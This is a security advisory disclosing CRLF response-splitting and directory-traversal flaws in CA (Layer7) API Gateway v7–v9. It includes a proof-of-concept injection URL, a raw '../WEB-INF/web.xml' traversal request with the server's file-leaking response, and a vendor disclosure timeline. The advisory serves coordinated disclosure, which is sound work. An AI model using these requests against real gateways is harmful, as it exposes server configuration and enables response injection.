Computer Associates API Gateway versions 7, 8, and 9 suffer from CRLF response splitting and directory traversal vulnerabilities.
aa9a6a201080c8ae019201036b421b1bhttps://www.osisecurity.com.au/computer-associates-api-gateway-crlf-response-splitting-directory-traversal-vulnerabilities.html
Date:
04-Apr-2017
Product:
Computer Associates (Layer7) API Gateway
Versions affected:
v7, v8, v9
Vulnerabilities:
1) CRLF Response Splitting
https://[target]:8443/test%0d%0a<h1>string?wsdl
Parameters uri='/test
<h1>string' did not resolve to any service.
https://www.ca.com/us/services-support/ca-support/ca-support-online/product-content/recommended-reading/security-notices/ca20160405-01-security-notice-for-ca-api-gateway.html
2) Directory traversal
GET /ssg/../WEB-INF/web.xml HTTP/1.1
Host: [target]:8443
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Accept-Ranges: bytes
ETag: W/"18991--1"
Last-Modified: Wed, 25 Nov 2015 06:57:05 GMT
Content-Type: text/xml
ntCoent-Length: 18991
Date: Wed, 25 Nov 2015 06:57:04 GMT
Cache-Control: private
Content-Length: 18991
<?xml version="1.0" encoding="ISO-8859-1"?>
<!-- The ssg (aka UneasyRooster) web application DD -->
<web-app
xmlns="http://java.sun.com/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/javaee
http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd"
version="3.0">
<display-name>Layer7 Secure Span Gateway</display-name>
<!-- Spring configuration file
used by the org.springframework.web.context.ContextLoaderListener
-->
[snip]
Credit:
Discovered by Patrick Webster
Disclosure timeline:
25-Nov-2015 - Discovered during audit.
27-Nov-2015 - Reported to vendor. Vendor response.
19-Mar-2016 - Vendor patched CRLF injection with release 7.1.04, 8.3.01, 8.4.01
09-Aug-2016 - Vendor patched directory traversal with release 7.1.04 ,
8.3.01, 8.4.01, and 9.1
04-Apr-2017 - Public disclosure.
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